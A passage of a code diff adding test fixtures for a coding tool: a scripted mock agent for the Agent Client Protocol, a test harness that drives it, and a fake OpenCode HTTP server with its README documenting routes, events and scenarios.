unknown; + locations?: acp.ToolCallLocation[] | null; + content?: Array | null; + } & UpdateMeta) + | ({ type: "plan"; entries: acp.PlanEntry[] } & UpdateMeta) + | ({ + type: "requestPermission"; + toolCall: JsonObject; + /** Default {@link STANDARD_PERMISSION_OPTIONS}. */ + options?: Array; + /** Keyed by the selected optionId, or `cancelled`. */ + branches?: AcpMockBranches; + } & StepMeta) + | { + type: "extRequest"; + method: string; + params?: unknown; + /** Keyed by `result.outcome` (string), else `ok`, or `error`. */ + branches?: AcpMockBranches; + /** Emit the result (or error) as an agent_message_chunk. */ + echo?: boolean; + } + | { type: "extNotification"; method: string; params?: unknown } + | { + type: "clientFs"; + op: "read"; + path: string; + line?: number; + limit?: number; + echo?: boolean; + } + | { type: "clientFs"; op: "write"; path: string; content: string } + | { + type: "clientTerminal"; + command: string; + args?: string[]; + env?: Array<{ name: string; value: string }>; + cwd?: string; + outputByteLimit?: number; + /** Attach the terminal to this tool call through a terminal content block. */ + toolCallId?: string; + /** Send `terminal/kill` before waiting for the exit. */ + kill?: boolean; + /** Skip `terminal/wait_for_exit`. */ + noWait?: boolean; + /** Default true. */ + release?: boolean; + echo?: boolean; + } + | { + type: "elicitation"; + mode: "form"; + message: string; + requestedSchema: JsonObject; + toolCallId?: string; + /** Keyed by the response `action`. */ + branches?: AcpMockBranches; + echo?: boolean; + } + | { + type: "elicitation"; + mode: "url"; + message: string; + url: string; + elicitationId?: string; + /** Send `elicitation/complete` once the client answered. */ + complete?: boolean; + branches?: AcpMockBranches; + echo?: boolean; + } + | { type: "delay"; ms: number } + /** Raw lines written to stdout between frames (garbage, URLs, hand-made JSON). */ + | { type: "stdout"; lines: string[] } + | { type: "stderr"; text: string; repeat?: number } + /** Crash: flush stdout, then exit (or kill itself with `signal`). */ + | { type: "exit"; code?: number; signal?: NodeJS.Signals; stderr?: string } + /** Never respond. `session/cancel` still ends the turn unless `ignoreCancel`. */ + | { type: "hang"; ignoreCancel?: boolean } + /** Block until `session/cancel` arrives (the turn then ends cancelled). */ + | { type: "waitForCancel" } + /** End the turn now. */ + | { type: "stop"; stopReason?: acp.StopReason | null } + /** Fail the prompt request now. */ + | { type: "fail"; error: AcpMockError }; + +export type AcpMockCancelConfig = { + /** Stop reason after `session/cancel`. Default `cancelled`; `end_turn` emulates the cancel/complete race. */ + stopReason?: acp.StopReason; + /** Raw updates emitted after the cancel arrived, before the prompt responds. */ + updates?: JsonObject[]; + /** Exit with this code on cancel instead of responding. */ + exitCode?: number; +}; + +export type AcpMockFaults = { + /** Lines written to stdout before anything else (sign-in banners, garbage). */ + startupStdout?: string[]; + startupStderr?: string; + /** Roughly this many bytes of stderr at startup. */ + stderrFloodBytes?: number; + /** Write every outgoing frame in chunks of this many bytes. */ + splitFramesBytes?: number; + /** Exit with `exitCode` (default 1) this long after startup. */ + exitAfterMs?: number; + exitCode?: number; + /** Default true. False keeps the process alive after stdin closes. */ + exitOnStdinClose?: boolean; + /** Requests to these methods are never answered. */ + hangMethods?: string[]; + /** Delay (ms) before handling these methods, e.g. `{"initialize": 3000}`. */ + methodDelays?: Record; + /** Answer these methods with an error. */ + methodErrors?: Record; +}; + +export type AcpMockScenario = { + /** SDK app name, used in SDK diagnostics only. */ + agentName?: string; + initialize?: AcpMockInitialize; + auth?: AcpMockAuth; + session?: AcpMockSessionConfig; + /** + * Turn scripts. A prompt whose text contains a script's `match` runs that + * script; other prompts take the unmatched scripts in order, repeating the + * last one. No scripts: one text chunk and `end_turn`. + */ + prompts?: AcpMockPromptScript[]; + cancel?: AcpMockCancelConfig; + faults?: AcpMockFaults; +}; + +/** One line of `SENTINEL_ACP_MOCK_LOG`. Every frame the mock received, raw. */ +export type AcpMockLogEntry = + | { + ts: number; + kind: "request"; + id: string | number; + method: string; + params?: unknown; + } + | { ts: number; kind: "notification"; method: string; params?: unknown } + | { + ts: number; + kind: "response"; + id: string | number | null; + result?: unknown; + error?: AcpMockError; + } + | { ts: number; kind: "lifecycle"; event: string; detail?: unknown }; + +export const ACP_MOCK_SCENARIO_ENV = "SENTINEL_ACP_MOCK_SCENARIO"; +export const ACP_MOCK_SCENARIO_FILE_ENV = "SENTINEL_ACP_MOCK_SCENARIO_FILE"; +export const ACP_MOCK_LOG_ENV = "SENTINEL_ACP_MOCK_LOG"; + +export const DEFAULT_AGENT_INFO: acp.Implementation = { + name: "sentinel-acp-mock", + title: "Sentinel ACP mock", + version: "0.0.0-mock", +}; + +export const DEFAULT_AGENT_CAPABILITIES: acp.AgentCapabilities = { + loadSession: true, + promptCapabilities: { image: true, audio: false, embeddedContext: true }, + mcpCapabilities: { http: true, sse: false }, + sessionCapabilities: { + list: {}, + resume: {}, + fork: {}, + close: {}, + delete: {}, + }, + auth: { logout: {} }, +}; + +/** One option of each kind, with the ids most agents use. */ +export const STANDARD_PERMISSION_OPTIONS: acp.PermissionOption[] = [ + { optionId: "allow-once", name: "Allow once", kind: "allow_once" }, + { optionId: "allow-always", name: "Always allow", kind: "allow_always" }, + { optionId: "reject-once", name: "Reject", kind: "reject_once" }, + { optionId: "reject-always", name: "Always reject", kind: "reject_always" }, +]; + +/** A `select` config option with flat options. */ +export function selectConfigOption(input: { + id: string; + name: string; + category?: string; + currentValue: string; + values: Array; +}): acp.SessionConfigOption { + return { + type: "select", + id: input.id, + name: input.name, + ...(input.category ? { category: input.category } : {}), + currentValue: input.currentValue, + options: input.values.map((value) => + typeof value === "string" ? { value, name: value } : value, + ), + }; +} diff --git a/scripts/fixtures/agents/acp/test-harness.ts b/scripts/fixtures/agents/acp/test-harness.ts new file mode 100644 index 00000000..723d3eb2 --- /dev/null +++ b/scripts/fixtures/agents/acp/test-harness.ts @@ -0,0 +1,229 @@ +// Drives mock-agent.ts as a child process through the real SDK client() +// builder over byte-level ndJsonStream (never the in-memory app pair, which +// would bypass the framing these fixtures exist to exercise). +import { fileURLToPath } from "node:url"; +import path from "node:path"; + +import * as acp from "@agentclientprotocol/sdk"; + +import { readJsonl, type JsonObject } from "../shared/fixture-io"; +import { + makeTempDir, + nodeReadableToWeb, + nodeWritableToWeb, + removeTempDir, + spawnFixture, + type FixtureProcess, +} from "../shared/test-support"; +import { + ACP_MOCK_LOG_ENV, + ACP_MOCK_SCENARIO_ENV, + type AcpMockLogEntry, + type AcpMockScenario, +} from "./scenario"; + +export const MOCK_AGENT_PATH = fileURLToPath( + new URL("./mock-agent.ts", import.meta.url), +); + +type Handler = (params: P) => R | Promise; + +export type AcpClientHandlers = { + requestPermission?: Handler< + acp.RequestPermissionRequest, + acp.RequestPermissionResponse + >; + readTextFile?: Handler; + writeTextFile?: Handler; + createTerminal?: Handler< + acp.CreateTerminalRequest, + acp.CreateTerminalResponse + >; + terminalOutput?: Handler< + acp.TerminalOutputRequest, + acp.TerminalOutputResponse + >; + waitForTerminalExit?: Handler< + acp.WaitForTerminalExitRequest, + acp.WaitForTerminalExitResponse + >; + killTerminal?: Handler; + releaseTerminal?: Handler< + acp.ReleaseTerminalRequest, + acp.ReleaseTerminalResponse + >; + createElicitation?: Handler< + acp.CreateElicitationRequest, + acp.CreateElicitationResponse + >; + /** Extension requests the client answers; others get `methodNotFound`. */ + extRequests?: Record>; + /** Extension notifications the client records. */ + extNotifications?: string[]; +}; + +export type ClientCall = { method: string; params: unknown }; + +export type AcpHarness = { + fixture: FixtureProcess; + connection: acp.ClientConnection; + agent: acp.ClientContext; + /** Every `session/update` the SDK delivered to the client handler. */ + updates: acp.SessionNotification[]; + /** Every agent→client request and notification the client handled. */ + calls: ClientCall[]; + logPath: string; + log(): AcpMockLogEntry[]; + initialize( + params?: Partial, + ): Promise; + newSession(cwd?: string): Promise; + prompt( + sessionId: string, + text: string, + meta?: JsonObject, + ): Promise; + /** + * Lets queued handlers run. The SDK resolves a request as soon as its + * response is read, while notifications that preceded it on the wire still + * pass through async handler chains, so `session/update` and extension + * notification handlers can run after `prompt()` resolved. + */ + settle(): Promise; + dispose(): Promise; +}; + +const passthrough = (params: unknown): JsonObject => + params !== null && typeof params === "object" && !Array.isArray(params) + ? (params as JsonObject) + : {}; + +function missing(method: string): never { + throw acp.RequestError.methodNotFound(method); +} + +export function startAcpHarness( + scenario: AcpMockScenario, + handlers: AcpClientHandlers = {}, + options: { + env?: Record; + stdoutTap?: (chunk: string) => void; + } = {}, +): AcpHarness { + const dir = makeTempDir("acp"); + const logPath = path.join(dir, "mock.jsonl"); + const fixture = spawnFixture(MOCK_AGENT_PATH, { + env: { + [ACP_MOCK_SCENARIO_ENV]: JSON.stringify(scenario), + [ACP_MOCK_LOG_ENV]: logPath, + ...options.env, + }, + }); + const updates: acp.SessionNotification[] = []; + const calls: ClientCall[] = []; + const record = (method: string, handler: Handler | undefined) => { + return async ({ params }: { params: P }): Promise => { + calls.push({ method, params }); + if (!handler) return missing(method); + return handler(params); + }; + }; + + let app = acp + .client({ name: "sentinel-fixture-test" }) + .onNotification("session/update", ({ params }) => { + updates.push(params); + }) + .onRequest( + "session/request_permission", + record("session/request_permission", handlers.requestPermission), + ) + .onRequest( + "fs/read_text_file", + record("fs/read_text_file", handlers.readTextFile), + ) + .onRequest( + "fs/write_text_file", + record("fs/write_text_file", handlers.writeTextFile), + ) + .onRequest( + "terminal/create", + record("terminal/create", handlers.createTerminal), + ) + .onRequest( + "terminal/output", + record("terminal/output", handlers.terminalOutput), + ) + .onRequest( + "terminal/wait_for_exit", + record("terminal/wait_for_exit", handlers.waitForTerminalExit), + ) + .onRequest("terminal/kill", record("terminal/kill", handlers.killTerminal)) + .onRequest( + "terminal/release", + record("terminal/release", handlers.releaseTerminal), + ) + .onRequest( + "elicitation/create", + record("elicitation/create", handlers.createElicitation), + ) + .onNotification("elicitation/complete", ({ params }) => { + calls.push({ method: "elicitation/complete", params }); + }); + for (const [method, handler] of Object.entries(handlers.extRequests ?? {})) { + app = app.onRequest(method, passthrough, record(method, handler)); + } + for (const method of handlers.extNotifications ?? []) { + app = app.onNotification(method, passthrough, ({ params }) => { + calls.push({ method, params }); + }); + } + + if (options.stdoutTap) { + const tap = options.stdoutTap; + fixture.child.stdout.on("data", (chunk: Buffer) => + tap(chunk.toString("utf8")), + ); + } + const connection = app.connect( + acp.ndJsonStream( + nodeWritableToWeb(fixture.child.stdin), + nodeReadableToWeb(fixture.child.stdout), + ), + ); + const agent = connection.agent; + + return { + fixture, + connection, + agent, + updates, + calls, + logPath, + log: () => readJsonl(logPath), + initialize: (params = {}) => + agent.request("initialize", { + protocolVersion: acp.PROTOCOL_VERSION, + clientCapabilities: { + fs: { readTextFile: true, writeTextFile: true }, + terminal: true, + }, + clientInfo: { name: "sentinel-fixture-test", version: "0.0.0" }, + ...params, + }), + newSession: (cwd = dir) => + agent.request("session/new", { cwd, mcpServers: [] }), + prompt: (sessionId, text, meta) => + agent.request("session/prompt", { + sessionId, + prompt: [{ type: "text", text }], + ...(meta ? { _meta: meta } : {}), + }), + settle: () => new Promise((resolve) => setTimeout(resolve, 20)), + dispose: async () => { + connection.close(); + await fixture.kill(); + removeTempDir(dir); + }, + }; +} diff --git a/scripts/fixtures/agents/opencode/README.md b/scripts/fixtures/agents/opencode/README.md new file mode 100644 index 00000000..86cd17f9 --- /dev/null +++ b/scripts/fixtures/agents/opencode/README.md @@ -0,0 +1,119 @@ +# Fake OpenCode server + +`fake-server.ts` fakes the OpenCode HTTP API on `Bun.serve` for both server generations. Steps in a scenario are generation-neutral; the fake renders them in the generation's wire shape. + +| Generation | Clients | Routes | Events | +| ---------- | --------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 1 (1.x) | `@opencode-ai/sdk/v2` (what Sentinel's engine uses today) | `GET /global/health`, `/provider`, `/agent`, `/command`, `/session`, `/permission`, `/question`; `POST /session`; `GET\|DELETE /session/{id}`; `GET /session/{id}/message`; `POST /session/{id}/prompt_async` (204), `/message` (sync), `/abort`; `POST /permission/{id}/reply`; `POST /question/{id}/reply\|reject` | SSE `GET /event`: `{type, properties}` frames | +| 2 (2.x) | `@opencode/client` 2.0.24 routes (not a dependency here) | `GET /api/info`, `/api/model`, `/api/provider`, `/api/agent`, `/api/command`, `/api/session`; `POST /api/session`; `GET\|DELETE /api/session/{id}`; `GET /api/session/{id}/message`, `/permission`, `/inbox`; `POST /api/session/{id}/prompt`, `/interrupt`, `/model`, `/agent`, `/permission/{reqId}/reply`; `DELETE /api/session/{id}/inbox/{inboxId}`; `GET\|DELETE /api/session/{id}/form/{formId}`, `POST …/form/{formId}/reply` | SSE `GET /api/event`: `{id, created, type, durable?, location, data}` envelopes with a per-session `durable.seq` on durable events, `: heartbeat` comments | + +Unknown `GET` paths answer with the web UI's HTML on both generations, like the real servers (so `/global/health` proves nothing on 2.x and `/api/info` nothing on 1.x). Shapes were checked against the installed `@opencode-ai/sdk` 1.14 `dist/v2/gen/types.gen.d.ts`, `@opencode/client` 2.0.24 (`npm pack`, generated Promise client and `types.d.ts`) and t3code's `opencode2` provider. The 2.x event lifecycle (prompt delivery default, step and usage events, interrupts, `executed`, no `session.idle`) follows t3code's recordings of a real 2.0.18 server (`apps/server/src/orchestration-v2/testkit/fixtures/opencode2_*`). + +It is a fixture, not a test, and app code must never import it. + +## Programmatic use + +```ts +// From src/lib/ai/chat/engines/opencode-sdk/.test.ts: +import { start } from "../../../../../../scripts/fixtures/agents/opencode/fake-server"; + +const fake = await start({ generation: 2, scenario, password: "pw" }); +fake.url; // http://127.0.0.1: +fake.password; // 2.x always has one (generated when omitted); 1.x only when given +fake.requests; // every request: {method, path, query, headers, body} +fake.emit({ id: "evt_x", type: "session.model.selected", data: { … } }); // raw event to every subscriber +await fake.stop(); // closes the server and every SSE stream +``` + +Auth is HTTP Basic with user `opencode` (`openCodeBasicAuth(password)` in [`scenario.ts`](./scenario.ts)). A wrong or missing header gets 401: an empty body on 1.x, `{"_tag":"UnauthorizedError",…}` with `www-authenticate: Basic` on 2.x. + +## As a stand-in binary + +```sh +SENTINEL_OPENCODE_FAKE_GENERATION=2 bun scripts/fixtures/agents/opencode/fake-server.ts serve --hostname=127.0.0.1 --port=0 +``` + +| Variable | Meaning | +| -------------------------------------- | --------------------------------------------------- | +| `SENTINEL_OPENCODE_FAKE_GENERATION` | `1` (default) or `2` | +| `SENTINEL_OPENCODE_FAKE_SCENARIO` | Scenario as inline JSON | +| `SENTINEL_OPENCODE_FAKE_SCENARIO_FILE` | Path to a scenario JSON file | +| `SENTINEL_OPENCODE_FAKE_LOG` | Append every request to this JSONL file | +| `OPENCODE_SERVER_PASSWORD` (1.x) | Basic-auth password; unset serves without auth | +| `OPENCODE_PASSWORD` (2.x) | Basic-auth password; unset generates and prints one | + +Readiness output matches `opencode serve`: 1.x prints `opencode server listening on http://…`; 2.x prints `server listening on http://…`, then `server password ` when it generated the password. `--version` prints `1.18.32` (1.x) or `opencode v2.0.18` (2.x), or the scenario's `version`. SIGTERM and SIGINT stop it. [`test-harness.ts`](./test-harness.ts) has `spawnFakeOpenCode()` (spawn and parse readiness) and `readSse()` (a minimal `text/event-stream` reader). + +## Scenario + +The type is `OpenCodeFakeScenario` in [`scenario.ts`](./scenario.ts). + +```json +{ + "version": "1.3.17", + "directory": "/work/repo", + "providers": null, + "models": null, + "agents": null, + "commands": null, + "sessions": [{ "id": "ses_existing", "title": "Earlier" }], + "heartbeatMs": 50, + "abortEmitsSessionError": true, + "emitSessionStatus": false, + "prompts": [ + { + "match": "fail", + "steps": [ + { "type": "error", "message": "Provider exploded", "name": "APIError" } + ] + }, + { + "match": "nope", + "reject": { "status": 400, "body": { "name": "BadRequest" } } + }, + { + "steps": [ + { "type": "reasoning", "text": ["Let me ", "think."] }, + { + "type": "tool", + "tool": "bash", + "callID": "call_1", + "input": { "command": "ls" }, + "output": "a.ts\n", + "metadata": { "exit": 0 }, + "permission": { "permission": "bash", "patterns": ["ls"] } + }, + { "type": "text", "text": ["Hello ", "there"] } + ], + "finish": "stop", + "tokens": { "input": 10, "output": 4 }, + "cost": 0.002 + } + ] +} +``` + +- `version` defaults to `1.18.32` / `2.0.18`. `providers`, `models`, `agents` and `commands` replace the default bodies (raw, in the generation's shape). +- `heartbeatMs`: 1.x sends a `server.heartbeat` event (default 10 s), 2.x a `: heartbeat` comment (default 15 s). The first frame is always `server.connected`. +- `emitSessionStatus` (2.x only, default false) also publishes `session.status` busy/idle and `session.idle` around each execution. The 2.0.24 client types list both events, but a real 2.0.18 server never sent them, so a 2.x engine must not wait for `session.idle`. +- Prompt scripts are selected like the other fixtures: `match` (substring of the prompt text), then unmatched scripts in order, repeating the last. `reject` answers the prompt request with that status and body instead of running. + +### Steps + +| Step | 1.x events | 2.x events | +| ------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `text` / `reasoning` (`text` string or array of deltas) | `message.part.updated` (empty part), `message.part.delta` per delta, `message.part.updated` with the full text and `time.end` | `session.text.started`, `.delta`…, `.ended` (or `session.reasoning.*`), keyed by the content `ordinal` | +| `tool {tool, callID?, input, output?, title?, metadata?, error?, durationMs?, permission?}` | tool part `pending` → `running` → `completed` / `error` | `session.tool.input.started/delta/ended`, `session.tool.called`, `session.tool.progress` (with `metadata`, before `durationMs`), `session.tool.success` / `.failed` (`error.type` `tool.execution`); `executed` is always false, as 2.0.18 sends it | +| `permission {permission, patterns?, metadata?, message?, branches?}` | `permission.asked` (`permission`, `patterns`, `always`, `tool?`), wait for `POST /permission/{id}/reply {reply}`, `permission.replied` | `permission.asked` (`action`, `resources`, `save`, `source?`), wait for `POST …/permission/{id}/reply {decision}`, `permission.replied` | +| `question {questions, branches?}` (1.x only) | `question.asked`, then `question.replied {answers}` or `question.rejected`; branches `replied` / `rejected` | — | +| `form {title, fields, metadata?, branches?}` (2.x only) | — | `form.created {form}`, then `form.replied {answer}` or `form.cancelled`; branches `replied` / `cancelled` | +| `event {event}` | any raw event in the generation's shape | same | +| `delay {ms}`, `hang` | wait (abortable); `hang` never ends on its own | same | +| `error {message, name?}` | assistant `error` and `session.error` | `session.step.failed` and `session.execution.failed` | + +A tool's `permission` asks before the tool runs; a `reject` reply fails the tool. Permission branches are keyed by the reply (`once`, `always`, `reject`), with `"*"` as the fallback. + +### Run lifecycle + +- **1.x.** `message.updated` (user), its parts, `session.status busy`, `message.updated` (assistant), a `step-start` part, the steps, a `step-finish` part (`reason`, `cost`, `tokens`), the completed assistant `message.updated`, `session.status idle`, `session.idle`. `POST /session/{id}/abort` ends a run with `MessageAbortedError` (and `session.error` unless `abortEmitsSessionError` is false). Prompts sent while a run is busy queue behind it. +- **2.x.** `POST /prompt` answers with the inbox item (`SessionInboxUser`) and publishes `session.inbox.enqueued`. A prompt without `delivery` is a steer, as on 2.0.18. Each execution publishes `session.execution.started`, `session.inbox.delivered`, `session.step.started`, the steps, `session.step.streamed`, `session.step.ended`, `session.usage.updated` and `session.execution.succeeded`, or `.failed` after `session.step.failed`. `POST /interrupt` closes the running tool (`session.tool.failed`, `error.type` `aborted`) and step (`session.step.failed {error:{type:"aborted",message:"Step interrupted"}}`, `session.usage.updated`) before `session.execution.interrupted {reason:"user"}`. There is no `session.status` or `session.idle` unless `emitSessionStatus` is set. A steer sent while the session is idle starts an execution; one sent during an execution is delivered at its next step boundary (the step ends, the steer's user message joins the conversation and a new step runs the steer's script). `delivery:"queue"` prompts run as later executions. `resume:false` leaves the prompt in the inbox. `DELETE /api/session/{id}/inbox/{inboxId}` cancels an undelivered prompt (`session.inbox.cancelled`). `GET /message` returns the conversation as `SessionMessageInfo` items. diff --git a/scripts/fixtures/agents/opencode/fake-server.ts b/scripts/fixtures/agents/opencode/fake-server.ts new file mode 100644 index 00000000..21b52b0e --- /dev/null +++ b/scripts/fixtures/agents/opencode/fake-server.ts @@ -0,0 +1,1806 @@ +#!/usr/bin/env bun +// Fake OpenCode HTTP server (Bun.serve) for both generations: +// 1.x — what @opencode-ai/sdk/v2 talks to: /global/health, /provider, +// /agent, /session*, /permission/*, /question/*, SSE /event. +// 2.x — @opencode/client's /api/* routes with HTTP Basic auth and SSE +// /api/event (`: heartbeat` comments). +// Use it in-process (`start({generation, scenario})`) or as a stand-in binary: +// SENTINEL_OPENCODE_FAKE_GENERATION=2 bun fake-server.ts serve --hostname=127.0.0.1 --port=0 +// which prints the readiness line the real `opencode serve` prints. +import { randomBytes } from "node:crypto"; + +import { + createJsonlLog, + loadScenarioFromEnv, + sleep, + waitForAbort, + type JsonObject, +} from "../shared/fixture-io"; +import { + OPENCODE_FAKE_GENERATION_ENV, + OPENCODE_FAKE_LOG_ENV, + OPENCODE_FAKE_SCENARIO_ENV, + OPENCODE_FAKE_SCENARIO_FILE_ENV, + openCodeBasicAuth, + type OpenCodeBranches, + type OpenCodeFakeRequest, + type OpenCodeFakeScenario, + type OpenCodeGeneration, + type OpenCodePromptScript, + type OpenCodeStep, +} from "./scenario"; + +export type StartOpenCodeFakeOptions = { + generation: OpenCodeGeneration; + scenario?: OpenCodeFakeScenario; + hostname?: string; + /** 0 (default) picks a free port. */ + port?: number; + /** + * Basic-auth password. 1.x: `null`/unset serves without auth (like an unset + * OPENCODE_SERVER_PASSWORD). 2.x always requires one and generates it when + * unset. + */ + password?: string | null; + /** Append every request to this JSONL file. */ + logPath?: string; +}; + +export type OpenCodeFake = { + generation: OpenCodeGeneration; + url: string; + password: string | null; + version: string; + /** Every request received, in order. */ + requests: OpenCodeFakeRequest[]; + /** Pushes a raw event (already in the generation's wire shape) to every SSE subscriber. */ + emit(event: JsonObject): void; + stop(): Promise; +}; + +// Bun.serve without depending on bun-types: the fixtures only run under bun. +type BunServerLike = { + port: number; + stop(closeActiveConnections?: boolean): unknown; +}; +type BunServeOptions = { + hostname: string; + port: number; + idleTimeout?: number; + fetch(request: Request): Response | Promise; +}; + +function bunServe(options: BunServeOptions): BunServerLike { + const bun = ( + globalThis as { Bun?: { serve(options: BunServeOptions): BunServerLike } } + ).Bun; + if (!bun) throw new Error("fake-server.ts needs the bun runtime (Bun.serve)"); + return bun.serve(options); +} + +const SPA_HTML = + '\n\n'; +const encoder = new TextEncoder(); + +type Subscriber = { write(text: string): void }; + +type PendingReply = { + sessionID: string; + resolve(outcome: string, payload?: unknown): void; +}; +type Reply = { outcome: string; payload?: unknown }; + +type SessionRecord = { + id: string; + title: string; + directory: string; + created: number; + updated: number; + agent?: string; + model?: JsonObject; + messages: JsonObject[]; + run?: { + controller: AbortController; + done: Promise; + /** 2.x `delivery:"steer"` prompts waiting for the next step boundary. */ + steers: PendingPrompt[]; + }; + queue: QueuedTask[]; +}; + +/** A 2.x prompt sitting in the session inbox. */ +type PendingPrompt = { userMessage: JsonObject; script: OpenCodePromptScript }; + +type QueuedTask = { + /** 2.x inbox id (the user message id); absent for 1.x prompts. */ + inboxID?: string; + run(signal: AbortSignal): Promise; + /** Drops the task without running it. */ + cancel(): void; +}; + +type RunContext = { + session: SessionRecord; + signal: AbortSignal; + assistantMessageID: string; + /** 1.x parts / 2.x content blocks of the assistant message. */ + blocks: JsonObject[]; + assistant: JsonObject; + /** 2.x: the tool call between `session.tool.called` and its result. */ + tool?: { callID: string; metadata?: JsonObject }; +}; + +class StepFailure extends Error { + constructor( + message: string, + readonly errorName: string, + ) { + super(message); + } +} + +let idCounter = 0; +function makeId(prefix: string): string { + idCounter += 1; + return `${prefix}_mock${Date.now().toString(36)}${idCounter.toString().padStart(4, "0")}`; +} + +function json( + body: unknown, + status = 200, + headers: Record = {}, +): Response { + return new Response(JSON.stringify(body), { + status, + headers: { "content-type": "application/json", ...headers }, + }); +} + +function textOf(parts: unknown): string { + if (!Array.isArray(parts)) return ""; + return parts + .flatMap((part: unknown) => + part && typeof part === "object" && (part as JsonObject).type === "text" + ? [String((part as JsonObject).text ?? "")] + : [], + ) + .join("\n"); +} + +function pickBranch(branches: OpenCodeBranches | undefined, key: string) { + return branches?.[key] ?? branches?.["*"]; +} + +const DURABLE_VERSION: Record = { + "session.tool.success": 2, + "session.tool.failed": 2, + "session.deleted": 2, +}; +const NON_DURABLE = new Set([ + "session.text.delta", + "session.reasoning.delta", + "session.tool.input.delta", + "session.tool.progress", + "session.usage.updated", + "session.status", + "session.idle", + "permission.asked", + "permission.replied", + "form.created", + "form.replied", + "form.cancelled", +]); + +class FakeOpenCodeServer { + readonly requests: OpenCodeFakeRequest[] = []; + readonly version: string; + private readonly subscribers = new Set(); + private readonly sessions = new Map(); + private readonly permissions = new Map< + string, + PendingReply & { request: JsonObject } + >(); + private readonly questions = new Map< + string, + PendingReply & { request: JsonObject } + >(); + private readonly forms = new Map< + string, + PendingReply & { form: JsonObject } + >(); + private readonly seq = new Map(); + /** 2.x user messages by inbox id, until delivered or cancelled. */ + private readonly inboxItems = new Map(); + private readonly log: (record: JsonObject) => void; + private unmatchedPrompts = 0; + + constructor( + readonly generation: OpenCodeGeneration, + readonly scenario: OpenCodeFakeScenario, + readonly password: string | null, + logPath: string | undefined, + ) { + this.version = + scenario.version ?? (generation === 1 ? "1.18.32" : "2.0.18"); + this.log = createJsonlLog(logPath); + for (const session of scenario.sessions ?? []) { + this.createSession( + { id: session.id, title: session.title, directory: session.directory }, + false, + ); + } + } + + get directory(): string { + return this.scenario.directory ?? process.cwd(); + } + + // ------------------------------------------------------------------------- + // HTTP + // ------------------------------------------------------------------------- + + async handle(request: Request, origin: string): Promise { + const url = new URL(request.url); + const text = + request.method === "GET" || request.method === "HEAD" + ? "" + : await request.text(); + let body: unknown = text === "" ? undefined : text; + try { + body = text === "" ? undefined : JSON.parse(text); + } catch { + // keep the raw text + } + const headers: Record = {}; + for (const name of [ + "authorization", + "content-type", + "x-opencode-directory", + "accept", + "last-event-id", + ]) { + const value = request.headers.get(name); + if (value !== null) headers[name] = value; + } + const record: OpenCodeFakeRequest = { + method: request.method, + path: url.pathname, + query: Object.fromEntries(url.searchParams), + headers, + body, + }; + this.requests.push(record); + this.log({ ...record }); + + if ( + this.password !== null && + request.headers.get("authorization") !== openCodeBasicAuth(this.password) + ) { + return this.generation === 1 + ? new Response("", { status: 401 }) + : json( + { _tag: "UnauthorizedError", message: "Authentication required" }, + 401, + { + "www-authenticate": "Basic", + }, + ); + } + + const response = + this.generation === 1 + ? await this.routeV1(request.method, url, body, request.headers) + : await this.routeV2(request.method, url, body, origin); + if (response) return response; + if (request.method === "GET") { + // Both generations serve their web UI for unknown paths. + return new Response(SPA_HTML, { + headers: { "content-type": "text/html" }, + }); + } + return new Response("Not Found", { status: 404 }); + } + + private async routeV1( + method: string, + url: URL, + body: unknown, + headers: Headers, + ): Promise { + const path = url.pathname; + const input = (body ?? {}) as JsonObject; + const notFound = (message: string) => + json({ name: "NotFoundError", data: { message } }, 404); + let match: RegExpExecArray | null; + + if (method === "GET" && path === "/global/health") { + return json({ healthy: true, version: this.version }); + } + if (method === "GET" && path === "/event") return this.sse(); + if (method === "GET" && path === "/provider") { + return json(this.scenario.providers ?? defaultV1Providers()); + } + if (method === "GET" && path === "/agent") + return json(this.scenario.agents ?? defaultV1Agents()); + if (method === "GET" && path === "/command") + return json(this.scenario.commands ?? []); + if (method === "GET" && path === "/session") { + return json( + [...this.sessions.values()].map((session) => + this.sessionInfoV1(session), + ), + ); + } + if (method === "POST" && path === "/session") { + const directoryHeader = headers.get("x-opencode-directory"); + const directory = + url.searchParams.get("directory") ?? + (directoryHeader ? decodeURIComponent(directoryHeader) : undefined); + const session = this.createSession({ + title: typeof input.title === "string" ? input.title : undefined, + directory, + }); + return json(this.sessionInfoV1(session)); + } + if (method === "GET" && path === "/permission") { + return json( + [...this.permissions.values()].map((pending) => pending.request), + ); + } + if (method === "GET" && path === "/question") { + return json( + [...this.questions.values()].map((pending) => pending.request), + ); + } + if ( + (match = /^\/permission\/([^/]+)\/reply$/.exec(path)) && + method === "POST" + ) { + const pending = this.permissions.get(decodeURIComponent(match[1] ?? "")); + if (!pending) + return notFound(`Permission request not found: ${match[1]}`); + pending.resolve(String(input.reply)); + return json(true); + } + if ( + (match = /^\/question\/([^/]+)\/(reply|reject)$/.exec(path)) && + method === "POST" + ) { + const id = decodeURIComponent(match[1] ?? ""); + const pending = this.questions.get(id); + if (!pending) return notFound(`Question request not found: ${id}`); + if (match[2] === "reply") { + pending.resolve("replied", input.answers); + } else { + pending.resolve("rejected"); + } + return json(true); + } + if ((match = /^\/session\/([^/]+)(\/.*)?$/.exec(path))) { + const session = this.sessions.get(decodeURIComponent(match[1] ?? "")); + const rest = match[2] ?? ""; + if (!session) return notFound(`Session not found: ${match[1]}`); + if (method === "GET" && rest === "") + return json(this.sessionInfoV1(session)); + if (method === "DELETE" && rest === "") { + session.run?.controller.abort(); + this.sessions.delete(session.id); + this.publish("session.deleted", { + sessionID: session.id, + info: this.sessionInfoV1(session), + }); + return json(true); + } + if (method === "GET" && rest === "/message") + return json(session.messages); + if (method === "POST" && rest === "/abort") { + const running = session.run; + if (running) { + running.controller.abort(); + await running.done; + } + return json(true); + } + if ( + method === "POST" && + (rest === "/prompt_async" || rest === "/message") + ) { + const text = textOf(input.parts); + const script = this.selectScript(text); + if (script.reject) + return json(script.reject.body, script.reject.status); + const done = this.enqueue(session, (signal) => + this.runV1(session, signal, input, script), + ); + if (rest === "/prompt_async") + return new Response(null, { status: 204 }); + await done; + return json(session.messages.at(-1) ?? {}); + } + } + return undefined; + } + + private async routeV2( + method: string, + url: URL, + body: unknown, + origin: string, + ): Promise { + const path = url.pathname; + const input = (body ?? {}) as JsonObject; + const location = { directory: this.directory }; + let match: RegExpExecArray | null; + const sessionNotFound 